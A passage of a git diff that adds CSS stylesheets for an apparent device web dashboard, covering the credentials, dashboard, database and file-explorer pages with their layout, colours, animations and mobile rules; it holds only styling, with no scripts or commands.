255, .06); + border-color: var(--_border); +} + +.credentials-container .bubble-blue { + background: linear-gradient(135deg, #1d2a32, #00c4d6); + color: #fff; +} + +.credentials-container .bubble-green { + background: linear-gradient(135deg, #1e2a24, #00b894); + color: #fff; +} + +.credentials-container .bubble-orange { + background: linear-gradient(135deg, #3b2f1a, #e7951a); + color: #fff; +} + +.credentials-container .copied-feedback { + position: fixed; + left: 50%; + bottom: 20px; + transform: translateX(-50%); + padding: 8px 12px; + background: #4CAF50; + color: #fff; + border-radius: 10px; + box-shadow: var(--_shadow); + opacity: 0; + transition: opacity .25s; + z-index: 9999; +} + +.credentials-container .copied-feedback.show { + opacity: 1; +} + +/* ── Mobile responsive ── */ +@media (max-width: 768px) { + .credentials-container .stats-bar { + flex-wrap: wrap; + gap: 8px; + } + + .credentials-container .tabs-container { + flex-wrap: wrap; + gap: 4px; + } + + .credentials-container .tab { + font-size: .75rem; + padding: .35rem .6rem; + } + + .credentials-container .services-grid { + grid-template-columns: 1fr; + } + + .credentials-container .service-header { + flex-wrap: wrap; + gap: 6px; + } + + .credentials-container .search-container { + width: 100%; + order: 10; + } + + .credentials-container .credential-field { + flex-direction: column; + gap: 2px; + } + + .credentials-container .field-value { + word-break: break-all; + } +} + diff --git a/web/css/pages/dashboard.css b/web/css/pages/dashboard.css new file mode 100644 index 0000000..cdf4a56 --- /dev/null +++ b/web/css/pages/dashboard.css @@ -0,0 +1,660 @@ +/* ===== MODERN DASHBOARD ===== */ +.dashboard-container.modern-dash { + --pad: 12px; + --gap: 12px; + --card-bg: color-mix(in oklab, var(--_panel) 40%, transparent); + --card-border: color-mix(in oklab, var(--_border) 80%, transparent); + --card-radius: 16px; + --anim-ease: cubic-bezier(0.2, 0.8, 0.2, 1); + --accent: var(--_acid, #00ff9a); + --glass: blur(12px); + + display: flex; + flex-direction: column; + gap: var(--gap); + padding: 8px; + max-width: 1400px; + margin: 0 auto; +} + +@media (min-width: 768px) { + .dashboard-container.modern-dash { + padding: 16px; + --gap: 16px; + } +} + +/* Animations */ +@keyframes slip-up { + 0% { + opacity: 0; + transform: translateY(12px) scale(0.98); + } + + 100% { + opacity: 1; + transform: translateY(0) scale(1); + } +} + +.modern-dash .anim-enter { + animation: slip-up 0.5s var(--anim-ease) both; +} + +.modern-dash .anim-enter:nth-child(1) { + animation-delay: 0.0s; +} + +.modern-dash .anim-enter:nth-child(2) { + animation-delay: 0.1s; +} + +.modern-dash .anim-enter:nth-child(3) { + animation-delay: 0.15s; +} + +/* Top Bar */ +.modern-dash .top-bar { + display: flex; + justify-content: space-between; + align-items: center; + padding: 4px 6px; + font-size: 11px; +} + +.modern-dash .liveops { + display: flex; + align-items: center; + gap: 8px; + cursor: pointer; + padding: 6px 12px; + border-radius: 20px; + background: var(--card-bg); + border: 1px solid var(--card-border); + backdrop-filter: var(--glass); + -webkit-backdrop-filter: var(--glass); + box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); + transition: all 0.2s ease; + font-weight: 700; + color: var(--_ink); +} + +.modern-dash .liveops:hover { + background: color-mix(in oklab, var(--_panel) 70%, transparent); + border-color: var(--accent); + transform: translateY(-1px); +} + +.modern-dash .liveops-time { + font-weight: 500; + color: var(--_muted); +} + +.modern-dash .pulse-dot { + width: 8px; + height: 8px; + border-radius: 50%; + background: var(--ok); + box-shadow: 0 0 8px var(--ok); + animation: pulse-dot-anim 1.5s infinite; +} + +@keyframes pulse-dot-anim { + + 0%, + 100% { + opacity: 1; + transform: scale(1); + } + + 50% { + opacity: .5; + transform: scale(1.3); + } +} + +.modern-dash .sys-badges { + display: flex; + gap: 6px; +} + +.modern-dash .badge { + padding: 6px 10px; + border-radius: 12px; + background: var(--card-bg); + border: 1px solid var(--card-border); + font-family: ui-monospace, monospace; + font-size: 11px; + font-weight: 700; + color: var(--_ink); + backdrop-filter: var(--glass); + -webkit-backdrop-filter: var(--glass); + box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05); + display: flex; + align-items: center; + justify-content: center; +} + +.modern-dash .mode-badge { + color: var(--accent); + border-color: color-mix(in oklab, var(--accent) 30%, transparent); +} + +/* Main layout grid */ +.modern-dash .dash-main { + display: grid; + grid-template-columns: 1fr; + gap: var(--gap); +} + +@media(min-width: 900px) { + .modern-dash .dash-main { + grid-template-columns: 340px 1fr; + } +} + +@media(min-width: 1200px) { + .modern-dash .dash-main { + grid-template-columns: 380px 1fr; + } +} + +.modern-dash .dash-col-left, +.modern-dash .dash-col-right { + display: flex; + flex-direction: column; + gap: var(--gap); +} + +/* Card Base */ +.modern-dash .dash-card { + background: var(--card-bg); + border: 1px solid var(--card-border); + border-radius: var(--card-radius); + padding: var(--pad); + position: relative; + overflow: hidden; + backdrop-filter: var(--glass); + -webkit-backdrop-filter: var(--glass); + box-shadow: 0 8px 32px rgba(0, 0, 0, 0.05); + transition: transform 0.2s ease, box-shadow 0.2s ease, border-color 0.2s ease; +} + +.modern-dash .dash-card:hover { + border-color: color-mix(in oklab, var(--_border) 100%, transparent); +} + +/* Hero Card */ +.modern-dash .hero-card { + display: flex; + align-items: stretch; + padding: 16px; + gap: 16px; + background: linear-gradient(135deg, color-mix(in oklab, var(--_panel) 60%, transparent), color-mix(in oklab, var(--_panel) 20%, transparent)); +} + +.modern-dash .hero-left { + flex: 0 0 auto; + display: flex; + align-items: center; + justify-content: center; +} + +.modern-dash .hero-divider { + width: 1px; + background: var(--card-border); + margin: 4px 0; +} + +.modern-dash .hero-right { + flex: 1 1 auto; + display: flex; + flex-direction: column; + justify-content: center; + min-width: 0; +} + +/* Battery Widget */ +.modern-dash .battery-wrap { + position: relative; + width: 90px; + height: 90px; + display: grid; + place-items: center; +} + +@media(min-width: 400px) { + .modern-dash .battery-wrap { + width: 110px; + height: 110px; + } +} + +.modern-dash .battery-ring { + position: absolute; + left: 50%; + top: 50%; + width: 100%; + height: 100%; + transform: translate(-50%, -50%) rotate(-90deg); + display: block; +} + +.modern-dash .batt-bg { + fill: none; + stroke: color-mix(in oklab, var(--_ink) 10%, transparent); + stroke-width: 13; + opacity: .35; +} + +.modern-dash .batt-fg { + fill: none; + stroke: url(#batt-grad); + stroke-width: 13; + stroke-linecap: round; + filter: url(#batt-glow); + stroke-dasharray: 100; + stroke-dashoffset: 100; + transition: stroke-dashoffset 0.9s cubic-bezier(0.4, 0, 0.2, 1); +} + +.modern-dash .batt-scan { + fill: none; + stroke: var(--_acid2); + stroke-width: 13; + stroke-linecap: round; + stroke-dasharray: 8 280; + opacity: .14; + transform-origin: 50% 50%; + animation: batt-spin 2.2s linear infinite; +} + +@keyframes batt-spin { + to { + transform: rotate(360deg); + } +} + +.modern-dash .batt-center { + position: absolute; + inset: 0; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + z-index: 10; +} + +.modern-dash .bjorn-portrait { + width: 32px; + height: 32px; + position: relative; + margin-bottom: 2px; +} + +@media(min-width: 400px) { + .modern-dash .bjorn-portrait { + width: 40px; + height: 40px; + } +} + +.modern-dash .bjorn-portrait img { + width: 100%; + height: 100%; + object-fit: contain; + filter: drop-shadow(0 2px 4px rgba(0, 0, 0, 0.5)); +} + +.modern-dash .bjorn-lvl { + position: absolute; + right: -8px; + bottom: -4px; + font-size: 8px; + font-weight: 800; + padding: 1px 4px; + border-radius: 6px; + background: var(--_panel); + color: var(--accent); + border: 1px solid var(--card-border); +} + +.modern-dash .batt-val { + font-size: 18px; + font-weight: 800; + line-height: 1; + text-shadow: 0 0 10px rgba(0, 0, 0, 0.5); + display: flex; + align-items: baseline; +} + +.modern-dash .batt-state { + display: flex; + align-items: center; + gap: 4px; + font-size: 9px; + margin-top: 2px; + color: var(--_muted); +} + +.modern-dash .hide-mobile { + display: none; +} + +@media(min-width: 1200px) { + .modern-dash .hide-mobile { + display: inline; + } +} + +.modern-dash .batt-indicator svg { + width: 12px; + height: 12px; + stroke: currentColor; + fill: none; + stroke-width: 2; + margin-top: 2px; +} + +/* System Bars Widget */ +.modern-dash .sys-bars { + display: flex; + flex-direction: column; + gap: 8px; + width: 100%; +} + +.modern-dash .sys-row .sys-lbl { + display: flex; + justify-content: space-between; + font-size: 10px; + font-weight: 700; + color: var(--_muted); + margin-bottom: 4px; +} + +.modern-dash .sys-vals { + color: var(--_ink); + font-weight: 600; + font-family: ui-monospace, monospace; +} + +.modern-dash .bar { + width: 100%; + height: 6px; + border-radius: 4px; + background: color-mix(in oklab, var(--_ink) 10%, transparent); + overflow: hidden; +} + +.modern-dash .bar i { + display: block; + height: 100%; + width: 0%; + border-radius: 4px; + background: linear-gradient(90deg, var(--accent), var(--_acid2)); + transition: width 0.5s ease; +} + +.modern-dash .bar i.warm { + background: linear-gradient(90deg, #ffd166, #ffbe55); +} + +.modern-dash .bar i.hot { + background: linear-gradient(90deg, #ff4d6d, #ff6b6b); +} + +/* Connectivity Card */ +.modern-dash .net-card { + padding: var(--pad); +} + +.modern-dash .net-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 12px; +} + +.modern-dash .net-title { + font-size: 14px; + font-weight: 800; + color: var(--_ink); +} + +.modern-dash .net-badge-wrap { + font-size: 11px; + font-weight: 600; + color: var(--_muted); + display: flex; + align-items: center; + gap: 6px; +} + +.modern-dash .net-badge { + padding: 2px 8px; + border-radius: 10px; + font-size: 10px; + font-weight: 800; + background: color-mix(in oklab, var(--danger, #ff4d6d) 20%, transparent); + color: var(--danger, #ff4d6d); + border: 1px solid color-mix(in oklab, var(--danger, #ff4d6d) 40%, transparent); +} + +.modern-dash .net-badge.net-on { + background: color-mix(in oklab, var(--ok) 20%, transparent); + color: var(--ok); + border-color: color-mix(in oklab, var(--ok) 40%, transparent); +} + +.modern-dash .conn-grid { + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 8px; +} + +.modern-dash .conn-box { + background: var(--card-bg); + border: 1px solid var(--card-border); + border-radius: 12px; + padding: 10px 4px; + display: flex; + flex-direction: column; + align-items: center; + gap: 6px; + position: relative; + transition: all 0.2s; +} + +.modern-dash .conn-box:hover { + background: color-mix(in oklab, var(--_panel) 80%, transparent); + transform: translateY(-2px); +} + +.modern-dash .conn-icon svg { + width: 22px; + height: 22px; + stroke: var(--_muted); + fill: none; + stroke-width: 1.5; +} + +.modern-dash .conn-box.on .conn-icon svg { + stroke: var(--accent); + filter: drop-shadow(0 0 6px rgba(0, 255, 154, 0.4)); +} + +.modern-dash .conn-lbl { + font-size: 11px; + font-weight: 600; + color: var(--_ink); +} + +.modern-dash .state-pill { + font-size: 9px; + font-weight: 800; + padding: 2px 6px; + border-radius: 6px; + background: color-mix(in oklab, var(--_ink) 10%, transparent); + color: var(--_muted); + text-transform: uppercase; +} + +.modern-dash .conn-box.on .state-pill { + background: color-mix(in oklab, var(--ok) 20%, transparent); + color: var(--ok); +} + +.modern-dash .conn-det-wrap { + display: none; +} + +/* KPI Grid */ +.modern-dash .kpi-grid { + display: grid; + grid-template-columns: repeat(3, 1fr); + gap: var(--gap); +} + +@media(min-width: 480px) { + .modern-dash .kpi-grid { + grid-template-columns: repeat(4, 1fr); + } +} + +@media(min-width: 1024px) { + .modern-dash .kpi-grid { + grid-template-columns: repeat(4, 1fr); + } +} + +.modern-dash .kpi-box { + background: var(--card-bg); + border: 1px solid var(--card-border); + border-radius: var(--card-radius); + padding: 12px; + display: flex; + flex-direction: column; + justify-content: center; + align-items: center; + backdrop-filter: var(--glass); + -webkit-backdrop-filter: var(--glass); + box-shadow: 0 4px 16px rgba(0, 0, 0, 0.05); + transition: transform 0.2s, background 0.2s; + text-align: center; +} + +.modern-dash .kpi-box:hover { + transform: translateY(-2px); + background: color-mix(in oklab, var(--_panel) 60%, transparent); + border-color: color-mix(in oklab, var(--_border) 100%, transparent); +} + +.modern-dash .kpi-ico { + margin-bottom: 6px; +} + +.modern-dash .kpi-ico svg { + width: 24px; + height: 24px; + stroke: var(--_muted); + fill: none; + stroke-width: 1.5; + opacity: 0.6; +} + +.modern-dash .kpi-val { + font-size: 20px; + font-weight: 800; + color: var(--_ink); + line-height: 1; + margin-bottom: 4px; + display: flex; + align-items: baseline; + justify-content: center; + gap: 4px; +} + +.modern-dash .kpi-val.multi-val { + font-size: 16px; +} + +.modern-dash .kpi-val .dim { + opacity: 0.6; + font-size: 0.85em; +} + +.modern-dash .kpi-lbl { + font-size: 10px; + text-transform: uppercase; + font-weight: 700; + color: var(--_muted); + letter-spacing: 0.5px; +} + +.modern-dash .kpi-extra { + margin-top: 4px; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; +} + +.modern-dash .delta { + font-size: 9px; + font-weight: 700; + padding: 2px 6px; + border-radius: 6px; + background: color-mix(in oklab, var(--_ink) 10%, transparent); + color: var(--_muted); +} + +.modern-dash .delta.good { + background: color-mix(in oklab, var(--ok) 20%, transparent); + color: var(--ok); + border: 1px solid color-mix(in oklab, var(--ok) 40%, transparent); +} + +.modern-dash .delta.bad { + background: color-mix(in oklab, var(--danger, #ff4d6d) 20%, transparent); + color: var(--danger, #ff4d6d); + border: 1px solid color-mix(in oklab, var(--danger, #ff4d6d) 40%, transparent); +} + +/* Footer info */ +.modern-dash .footer-card { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 16px; + padding: 16px; +} + +.modern-dash .footer-col { + display: flex; + flex-direction: column; + gap: 4px; +} + +.modern-dash .f-title { + font-size: 11px; + font-weight: 800; + color: var(--_ink); + margin-bottom: 2px; + text-transform: uppercase; + letter-spacing: 1px; +} + +.modern-dash .f-title.mt { + margin-top: 8px; +} + +.modern-dash .f-val { + font-size: 11px; + color: var(--_muted); + font-family: ui-monospace, monospace; +} + +.modern-dash .f-val.gps-state { + font-weight: 800; + color: var(--accent); +} \ No newline at end of file diff --git a/web/css/pages/database.css b/web/css/pages/database.css new file mode 100644 index 0000000..738f02e --- /dev/null +++ b/web/css/pages/database.css @@ -0,0 +1,369 @@ +/* ========================================================================== + DATABASE + ========================================================================== */ +.db-container { + --db-row-hover: rgba(0, 255, 154, .06); + --db-row-selected: rgba(0, 255, 154, .12); + --db-cell-edited: rgba(24, 240, 255, .18); +} + +.db-container.page-with-sidebar { + height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); + min-height: 0; +} + +.db-container .db-toolbar, +.db-container .db-actions { + display: flex; + gap: 10px; + margin-bottom: 12px; + align-items: center; + flex-wrap: wrap; + flex-shrink: 0; +} + +.db-container .db-header { + position: sticky; + top: 0; + z-index: 20; + background: var(--grad-topbar); + border: 1px solid var(--c-border); + border-radius: 12px; + padding: 12px; + box-shadow: var(--shadow); + margin-bottom: 12px; +} + +.db-container .sticky-actions { + position: sticky; + bottom: 0; + z-index: 15; + display: flex; + gap: 8px; + justify-content: flex-end; + padding: 8px; + background: linear-gradient(180deg, rgba(0, 0, 0, 0), rgba(0, 0, 0, .4)); + border-top: 1px solid var(--c-border); + border-radius: 12px; + backdrop-filter: blur(4px); +} + +.db-container .db-tree { + display: grid; + gap: 6px; +} + +.db-container .tree-head { + display: flex; + gap: 8px; + align-items: center; + margin-bottom: 8px; + position: sticky; + top: 0; + z-index: 3; + background: var(--grad-card); + padding: 4px 0; +} + +.db-container .db-sidebar-filter { + position: sticky; + top: 30px; + z-index: 2; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px; + padding: 6px 10px; + width: 100%; + color: var(--ink); + font: inherit; + margin-bottom: 8px; +} + +.db-container .tree-search { + display: flex; + gap: 6px; + align-items: center; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px; + padding: 6px 8px; +} + +.db-container .tree-search input { + all: unset; + flex: 1; + color: var(--ink); +} + +.db-container .tree-group { + margin-top: 10px; +} + +.db-container .db-tree-item { + display: flex; + align-items: center; + gap: 8px; + width: 100%; + padding: 8px 10px; + border: 1px solid var(--c-border); + border-radius: 10px; + background: var(--c-panel-2); + cursor: pointer; + transition: .18s; + color: var(--ink); + text-align: left; +} + +.db-container .db-tree-item:hover { + box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); + transform: translateX(2px); +} + +.db-container .db-tree-item.active { + background: linear-gradient(180deg, #0b151c, #091219); + outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); +} + +.db-container .db-tree-item-name { + min-width: 0; + overflow: hidden; + text-overflow: ellipsis; +} + +.db-container .db-title { + display: flex; + align-items: center; + gap: 10px; + font-weight: 700; + color: var(--acid); + letter-spacing: .08em; +} + +.db-container .db-controls { + display: flex; + flex-wrap: wrap; + gap: 8px; + margin-top: 10px; +} + +.db-container .db-search-input { + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + border-radius: 10px; + padding: 0 12px; + min-width: 240px; + flex: 1; + color: var(--ink); + height: 36px; + font: inherit; +} + +.db-container .db-search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--acid) 55%, var(--c-border-strong)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 20%, transparent); +} + +.db-container .db-opts { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; +} + +.db-container .hint { + color: var(--muted); + font-size: 12px; +} + +.db-container .sep { + width: 1px; + height: 24px; + background: var(--c-border); + margin: 0 4px; + opacity: .6; +} + +.db-container .db-wrap { + display: flex; + flex-direction: column; + gap: 12px; + min-height: 0; + flex: 1; +} + +.db-container .db-table-wrap { + position: relative; + overflow: auto; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); + flex: 1; + min-height: 0; + max-width: 100%; +} + +.db-container table.db { + width: max-content; + min-width: 100%; + border-collapse: separate; + border-spacing: 0; +} + +.db-container .db-table-wrap table.db thead th { + position: sticky; + top: 0; + z-index: 5; + background: var(--c-panel); + border-bottom: 1px solid var(--c-border-strong); + text-align: left; + padding: 10px; + font-weight: 700; + color: var(--acid); + user-select: none; + -webkit-user-select: none; + cursor: pointer; + white-space: nowrap; +} + +.db-container .db tbody td { + padding: 8px 10px; + border-bottom: 1px dashed var(--c-border-muted); + vertical-align: middle; + background: var(--grad-card); +} + +.db-container .db tbody tr:hover { + background: var(--db-row-hover); +} + +.db-container .db tbody tr.selected { + background: var(--db-row-selected); + outline: 1px solid var(--c-border-hi); +} + +.db-container .cell { + display: block; + min-width: 80px; + max-width: 520px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.db-container .cell[contenteditable="true"] { + outline: 0; + border-radius: 6px; + transition: .12s; + padding: 2px 6px; +} + +.db-container .cell[contenteditable="true"]:focus { + background: var(--db-cell-focus); + box-shadow: 0 0 0 1px var(--c-border-hi) inset; +} + +.db-container .cell.edited { + background: var(--db-cell-edited); +} + +.db-container .pk { + color: var(--muted); + font-size: 12px; +} + +.db-container .cols-drawer { + display: none; +} + +.db-container .cols-drawer.open { + display: block; +} + +.db-container .db-page { + display: grid; + grid-template-columns: 1fr; +} + +.db-container .sticky-col-cell { + position: sticky; + z-index: 3; + background: var(--grad-card); + box-shadow: 1px 0 0 0 var(--c-border-strong), -1px 0 0 0 var(--c-border); +} + +.db-container .sticky-col-head { + position: sticky; + z-index: 3; + background: var(--grad-card); + box-shadow: 1px 0 0 0 var(--c-border-strong), -1px 0 0 0 var(--c-border); +} + +.db-container .sticky-check, +.db-container .sticky-col-head.sticky-check { + z-index: 4; +} + +.db-container th.is-sticky .sticky-dot::after { + content: "\25CF"; + margin-left: 6px; + font-size: 10px; + color: var(--acid); + opacity: .9; +} + +@keyframes db-blinkChange { + from { + box-shadow: 0 0 0 0 var(--acid-22); + } + + to { + box-shadow: 0 0 0 6px transparent; + } +} + +.db-container .value-changed { + animation: db-blinkChange .66s ease; +} + +@media (max-width:1100px) { + .db-container .db-controls { + gap: 6px; + } + + .db-container .db-search-input { + min-width: 160px; + } + + .db-container .cell { + max-width: 60vw; + } +} + +@media (max-width:768px) { + .db-container .db-search-input { + min-width: 0; + width: 100%; + } + + .db-container .db-toolbar, + .db-container .db-actions { + gap: 4px; + } + + .db-container .db-actions .btn { + padding: 4px 8px; + font-size: 11px; + } + + .db-container .cell { + min-width: 60px; + max-width: 45vw; + } + + .db-container .db-controls { + flex-direction: column; + align-items: stretch; + } +} \ No newline at end of file diff --git a/web/css/pages/files.css b/web/css/pages/files.css new file mode 100644 index 0000000..e59a50c --- /dev/null +++ b/web/css/pages/files.css @@ -0,0 +1,3244 @@ +/* ========================================================================== + FILES EXPLORER + ========================================================================== */ +.files-container .loot-container { + display: flex; + flex-direction: column; + height: calc(100vh - 120px); + padding: 12px; + gap: 12px; +} + +.files-container .file-explorer { + flex: 1; + display: flex; + flex-direction: column; + overflow: hidden; + padding: 10px; + color: var(--_ink); + background: color-mix(in oklab, var(--_panel) 92%, transparent); + border: 1px solid var(--_border); + border-radius: 14px; + backdrop-filter: blur(18px); + box-shadow: var(--_shadow); +} + +.files-container .files-grid { + overflow-y: auto; + display: grid; + grid-template-columns: repeat(auto-fill, minmax(110px, 1fr)); + gap: 8px; + padding: 8px; + border-radius: 8px; +} + +.files-container .files-list { + overflow-y: auto; + padding: 4px; +} + +.files-container .upload-container { + padding: 10px; + margin-bottom: 10px; + display: flex; + justify-content: center; + align-items: center; +} + +.files-container .drop-zone { + width: 100%; + max-width: 800px; + padding: 16px; + border: 2px dashed var(--_border); + border-radius: 12px; + text-align: center; + font-size: 14px; + color: var(--_muted); + cursor: pointer; + transition: .25s ease; + background: color-mix(in oklab, var(--_panel) 88%, transparent); + backdrop-filter: blur(8px); +} + +.files-container .drop-zone:hover { + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.files-container .drop-zone.dragover { + border-color: color-mix(in oklab, var(--_acid) 50%, var(--_border)); + background: color-mix(in oklab, var(--_acid) 12%, var(--_panel)); + color: var(--_ink); +} + +.files-container .grid-item, +.files-container .list-item { + border-radius: 10px; + padding: 8px; + cursor: pointer; + transition: .15s ease; + display: flex; + align-items: center; + position: relative; + border: 1px solid transparent; + background: color-mix(in oklab, var(--_panel) 86%, transparent); +} + +.files-container .grid-item { + flex-direction: column; + text-align: center; +} + +.files-container .list-item { + flex-direction: row; + gap: 12px; +} + +.files-container .grid-item:hover, +.files-container .list-item:hover { + transform: translateY(-2px); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); + box-shadow: 0 4px 14px rgba(0, 0, 0, .25); + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.files-container .grid-item img, +.files-container .list-item img { + width: 28px; + height: 28px; + margin-bottom: 4px; +} + +.files-container .list-item img { + margin-bottom: 0; +} + +.files-container .item-name { + color: var(--_ink); + font-size: 14px; + line-height: 1.3; + pointer-events: none; + word-break: break-all; + overflow: hidden; + display: -webkit-box; + -webkit-box-orient: vertical; + -webkit-line-clamp: 2; + line-clamp: 2; +} + +.files-container .list-item .item-name { + -webkit-line-clamp: unset; + line-clamp: unset; + display: block; + white-space: nowrap; + text-overflow: ellipsis; + word-break: normal; +} + +.files-container .grid-item { + justify-content: flex-start; +} + +.files-container .folder .item-name { + color: var(--_ink); + font-weight: 700; +} + +.files-container .item-meta { + font-size: 11px; + color: var(--_muted); + margin-top: 4px; + pointer-events: none; +} + +.files-container .multi-select-mode { + background: color-mix(in oklab, var(--_acid) 6%, transparent); +} + +.files-container .item-selected { + background: color-mix(in oklab, var(--_acid) 18%, var(--_panel)) !important; + border: 2px solid color-mix(in oklab, var(--_acid) 55%, var(--_border)) !important; +} + +.files-container .context-menu { + position: absolute; + z-index: 1000; + background: color-mix(in oklab, var(--_panel) 98%, transparent); + border: 1px solid var(--_border); + border-radius: 10px; + padding: 6px 8px; + min-width: 160px; + color: var(--_ink); + box-shadow: var(--_shadow); +} + +.files-container .context-menu>div { + padding: 8px 10px; + border-radius: 8px; + cursor: pointer; +} + +.files-container .context-menu>div:hover { + background: color-mix(in oklab, var(--_acid2) 12%, transparent); +} + +.files-container .search-container { + position: relative; + margin-bottom: 10px; + display: flex; + align-items: center; +} + +.files-container .search-input { + width: 100%; + padding: 10px 40px 10px 12px; + font-size: 14px; + border-radius: 10px; + border: 1px solid var(--_border); + background: color-mix(in oklab, var(--_panel) 90%, transparent); + color: var(--_ink); + box-sizing: border-box; + transition: .2s; +} + +.files-container .search-input:focus { + outline: none; + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); + box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); + background: color-mix(in oklab, var(--_panel) 96%, transparent); +} + +.files-container .search-input::placeholder { + color: color-mix(in oklab, var(--_muted) 70%, transparent); +} + +.files-container .clear-button { + position: absolute; + right: 12px; + background: none; + border: none; + color: color-mix(in oklab, var(--_acid) 55%, var(--_ink)); + font-size: 16px; + cursor: pointer; + display: none; +} + +.files-container .clear-button.show { + display: block; +} + +.files-container .toolbar-buttons { + display: flex; + gap: 8px; + margin-bottom: 10px; + flex-wrap: wrap; +} + +.files-container .action-button { + background: color-mix(in oklab, var(--_panel) 90%, transparent); + border: 1px solid var(--_border); + color: var(--_muted); + padding: 8px 10px; + border-radius: 10px; + cursor: pointer; + font-size: 14px; + font-weight: 700; + display: flex; + align-items: center; + gap: 6px; + transition: .2s; + backdrop-filter: blur(10px); +} + +.files-container .action-button:hover { + background: color-mix(in oklab, var(--_panel) 96%, transparent); + color: var(--_ink); + transform: translateY(-2px); +} + +.files-container .action-button.active { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); + color: var(--_ink); + border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.files-container .action-button.delete { + background: color-mix(in oklab, var(--_acid) 14%, var(--_panel)); + color: var(--_ink); + display: none; + border-color: color-mix(in oklab, var(--_acid) 40%, var(--_border)); +} + +.files-container .action-button.delete.show { + display: flex; +} + +.files-container .modal { + display: block; + position: fixed; + inset: 0; + z-index: 1000; + background: rgba(0, 0, 0, .5); +} + +.files-container .modal-content { + background: color-mix(in oklab, var(--_panel) 98%, transparent); + color: var(--_ink); + margin: 12vh auto; + padding: 20px; + width: min(500px, 92vw); + border: 1px solid var(--_border); + border-radius: 14px; + box-shadow: var(--_shadow); +} + +.files-container .modal-buttons { + margin-top: 18px; + text-align: right; + display: flex; + gap: 8px; + justify-content: flex-end; +} + +.files-container .modal-buttons button { + margin-left: 0; + padding: 8px 14px; + border-radius: 10px; + border: 1px solid var(--_border); + cursor: pointer; + background: color-mix(in oklab, var(--_panel) 92%, transparent); + color: var(--_ink); +} + +.files-container .modal-buttons button:hover { + background: color-mix(in oklab, var(--_panel) 98%, transparent); +} + +.files-container .modal-buttons .primary { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); + border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); + color: var(--_ink); +} + +.files-container #folder-tree { + border: 1px solid var(--_border); + border-radius: 10px; + padding: 8px; + margin: 10px 0; + max-height: 320px; + overflow-y: auto; + background: color-mix(in oklab, var(--_panel) 92%, transparent); +} + +.files-container .folder-item { + padding: 8px 10px; + cursor: pointer; + display: flex; + align-items: center; + gap: 8px; + border-radius: 8px; +} + +.files-container .folder-item:hover { + background: color-mix(in oklab, var(--_panel) 98%, transparent); +} + +.files-container .folder-item.selected { + background: color-mix(in oklab, var(--_acid2) 16%, transparent); + outline: 1px solid color-mix(in oklab, var(--_acid2) 35%, var(--_border)); +} + +.files-container .folder-item i { + color: var(--_muted); +} + +.files-container .path-navigator { + padding: 8px; + margin-bottom: 8px; + border-radius: 10px; + display: flex; + align-items: center; + gap: 8px; + background: color-mix(in oklab, var(--_panel) 90%, transparent); + border: 1px solid var(--_border); +} + +.files-container .nav-buttons { + display: flex; + gap: 8px; +} + +.files-container .back-button { + background: color-mix(in oklab, var(--_panel) 92%, transparent); + border: 1px solid var(--_border); + color: var(--_muted); + padding: 8px 12px; + border-radius: 10px; + cursor: pointer; + font-weight: 700; + display: flex; + align-items: center; + gap: 6px; + min-width: 40px; + min-height: 40px; + justify-content: center; + transition: .2s; +} + +.files-container .back-button:hover { + background: color-mix(in oklab, var(--_panel) 98%, transparent); + color: var(--_ink); +} + +.files-container .current-path { + display: flex; + align-items: center; + gap: 6px; + overflow: hidden; + flex-wrap: wrap; +} + +.files-container .path-segment { + background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 16%, transparent), color-mix(in oklab, var(--_acid2) 10%, transparent)); + color: var(--_ink); + padding: 6px 10px; + border-radius: 10px; + cursor: pointer; + transition: .2s; + border: 1px solid color-mix(in oklab, var(--_acid2) 28%, var(--_border)); +} + +.files-container .path-segment:hover { + filter: brightness(1.08); +} + +@media (max-width:420px) { + .files-container .loot-container { + height: 80vh; + } + + .files-container .file-explorer { + max-height: 40vh; + } + + .files-container .files-grid { + max-height: 40vh; + } + + .files-container .drop-zone { + padding: 18px; + font-size: 15px; + } + + .files-container .toolbar-buttons { + padding: 4px; + gap: 6px; + } + + .files-container .search-container, + .files-container .path-navigator { + padding: 4px; + } + + .files-container .grid-item { + min-height: 74px; + font-size: 12px; + } + + .files-container .item-name { + font-size: 13px; + margin-top: 2px; + } + + .files-container .item-meta { + font-size: 10px; + margin-top: 2px; + } + + .files-container .grid-item img, + .files-container .list-item img { + width: 28px; + height: 28px; + } +} + +@media (max-width:768px) { + .files-container .files-grid { + grid-template-columns: repeat(auto-fill, minmax(110px, 1fr)); + gap: 8px; + } + + .files-container #file-list { + max-height: fit-content; + overflow-y: auto; + } + + .files-container .toolbar-buttons { + flex-direction: row; + flex-wrap: wrap; + gap: 8px; + } + + .files-container .files-list { + padding: 8px; + max-height: 50vh; + overflow-y: auto; + } + + .files-container .grid-item { + padding: 8px; + } +} + +/* 